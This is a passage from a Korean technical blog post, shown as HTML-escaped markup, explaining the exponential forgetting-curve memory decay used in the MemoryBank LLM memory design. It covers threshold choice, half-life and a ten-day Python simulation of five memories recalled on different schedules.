    &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;R_after&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;사이클 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cycle&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: 회상 전 R=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R_before&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R_before&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; → 회상 후 S=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, R=100%&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 사이클 1: 회상 전 R=0.0498 (5.0%)  → 회상 후 S=2, R=100%
# 사이클 2: 회상 전 R=0.2231 (22.3%) → 회상 후 S=3, R=100%
# 사이클 3: 회상 전 R=0.3679 (36.8%) → 회상 후 S=4, R=100%
# 사이클 4: 회상 전 R=0.4724 (47.2%) → 회상 후 S=5, R=100%
# 사이클 5: 회상 전 R=0.5488 (54.9%) → 회상 후 S=6, R=100%
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3일마다 회상되는 기억의 "회상 직전 보유율"이 5.0% → 22.3% → 36.8% → 47.2% → 54.9%로 올라간다. 같은 3일이 경과해도, 회상 횟수가 쌓일수록 기억이 점점 더 잘 유지된다.&lt;/p&gt;

&lt;p&gt;에빙하우스가 발견한 &lt;strong&gt;간격 효과(spacing effect)&lt;/strong&gt;가 수식 안에 자연스럽게 내장된 거다. 반복 복습하면 망각 곡선이 점점 완만해진다는 그 원리.&lt;/p&gt;

&lt;h2&gt;
  
  
  임계값은 어디에 잡아야 하나
&lt;/h2&gt;

&lt;p&gt;MemoryBank 논문에서 구체적인 임계값 숫자를 명시하지는 않았다. 하지만 실제로 구현하려면 "R이 얼마 아래로 떨어지면 기억을 삭제할 것인가"를 결정해야 한다.&lt;/p&gt;

&lt;p&gt;임계값을 정하려면 먼저 질문을 바꿔야 한다. "기억이 며칠 안 꺼내지면 잊혀야 하는가?"&lt;/p&gt;

&lt;p&gt;S=1인 기억(한 번도 회상 안 된 기억)이 기준이다. 이 기억이 잊혀지기까지 걸리는 시간은 임계값에 따라 달라진다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# S=1일 때, 임계값별 "잊혀지는 시간"
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="c1"&gt;# R = e^(-t/S) → t = -S * ln(R)
&lt;/span&gt;    &lt;span class="n"&gt;t_forget&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;임계값 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → S=1 기억이 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t_forget&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;일 후 소멸&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 임계값 0.5  → S=1 기억이 0.69일(약 17시간) 후 소멸
# 임계값 0.3  → S=1 기억이 1.20일(약 29시간) 후 소멸
# 임계값 0.1  → S=1 기억이 2.30일 후 소멸
# 임계값 0.05 → S=1 기억이 3.00일 후 소멸
# 임계값 0.01 → S=1 기억이 4.61일 후 소멸
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;임계값 0.5이면 17시간 만에 기억이 사라진다. 너무 공격적이다. 어제 한 대화가 오늘 이미 없다.&lt;/p&gt;

&lt;p&gt;임계값 0.01이면 4.6일까지 버틴다. 좀 느슨하다. 의미 없는 대화가 거의 5일이나 남아 있으면 메모리가 비효율적이다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;임계값 0.05~0.1 사이가 실용적인 범위다.&lt;/strong&gt; S=1 기억이 2~3일 안에 자연스럽게 사라지고, S=3 이상인 기억(2번 이상 회상)은 일주일 넘게 살아남는다.&lt;/p&gt;

&lt;p&gt;이걸 역으로 쓸 수도 있다. "우리 서비스에서 중요한 기억은 최소 7일은 유지돼야 한다"는 요구사항이 있다면, S와 임계값을 역산할 수 있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# "7일 후에도 살아남으려면 S가 최소 얼마여야 하나?"
&lt;/span&gt;&lt;span class="n"&gt;target_days&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="n"&gt;threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;

&lt;span class="c1"&gt;# R = e^(-t/S) ≥ threshold
# -t/S ≥ ln(threshold)
# S ≥ -t / ln(threshold)
&lt;/span&gt;&lt;span class="n"&gt;S_min&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;target_days&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;7일 후 R ≥ 0.1 이려면 S ≥ &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;S_min&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 7일 후 R ≥ 0.1 이려면 S ≥ 3.04
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;S가 최소 4(3번 회상)는 돼야 7일 후에도 임계값 0.1 위에 머문다. 서비스 특성에 맞춰서 이런 식으로 파라미터를 튜닝할 수 있다.&lt;/p&gt;

&lt;h2&gt;
  
  
  반감기로 바라보기
&lt;/h2&gt;

&lt;p&gt;지수 감쇠에서 가장 직관적인 지표는 &lt;strong&gt;반감기&lt;/strong&gt;다. 보유율이 50%로 떨어지는 데 걸리는 시간.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# R = e^(-t/S) = 0.5
# -t/S = ln(0.5)
# t_half = S * ln(2) ≈ S * 0.693
&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;t_half&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → 반감기 = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t_half&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;일&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# S= 1 → 반감기 = 0.69일 (약 17시간)
# S= 2 → 반감기 = 1.39일 (약 33시간)
# S= 3 → 반감기 = 2.08일 (약 50시간)
# S= 5 → 반감기 = 3.47일
# S=10 → 반감기 = 6.93일 (약 1주일)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;반감기가 S에 정비례한다. S가 2배가 되면 반감기도 2배. 선형 관계다.&lt;/p&gt;

&lt;p&gt;한 번도 회상 안 된 기억(S=1)은 반감기가 17시간이다. 하루도 안 돼서 절반이 날아간다. 2번 회상된 기억(S=3)은 반감기가 2일. 9번 회상된 기억(S=10)은 반감기가 거의 일주일이다.&lt;/p&gt;

&lt;p&gt;이 반감기 숫자를 보면 MemoryBank의 설계 의도가 선명해진다. &lt;strong&gt;최근에 자주 나온 화제는 오래 기억하고, 한 번 스쳐 지나간 얘기는 빠르게 잊는다.&lt;/strong&gt; 사람의 기억과 같은 패턴이다.&lt;/p&gt;

&lt;p&gt;게임에서 유사한 시스템을 찾자면, 어그로(aggro) 감쇠가 있다. 플레이어가 보스한테 데미지를 안 넣으면 어그로가 시간에 따라 감쇠한다. 꾸준히 데미지를 넣으면 어그로가 유지되고 강화된다. 데미지 주입이 "회상"이고, 어그로 수치가 "기억 보유율"인 셈이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  시뮬레이션: 10일간 5개 기억의 운명
&lt;/h2&gt;

&lt;p&gt;실제 시나리오를 돌려본다. 5개의 기억이 서로 다른 패턴으로 회상되는 10일간의 시뮬레이션이다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;

&lt;span class="n"&gt;THRESHOLD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;

&lt;span class="n"&gt;memories&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;이직 고민&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;점심 메뉴&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UE5 버그&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;주말 캠핑&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;연봉 협상&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# 회상 스케줄 (일 단위)
&lt;/span&gt;&lt;span class="n"&gt;recall_schedule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;이직 고민&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;   &lt;span class="c1"&gt;# 자주 회상
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;점심 메뉴&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;              &lt;span class="c1"&gt;# 한 번도 안 꺼냄
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UE5 버그&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;          &lt;span class="c1"&gt;# 가끔 회상
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;주말 캠핑&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;             &lt;span class="c1"&gt;# 한 번만 회상
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;연봉 협상&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="c1"&gt;# 매우 자주 회상
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=== 10일 시뮬레이션 ===&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--- Day &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ---&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;memories&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="c1"&gt;# 경과 시간 계산
&lt;/span&gt;        &lt;span class="n"&gt;last_event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span 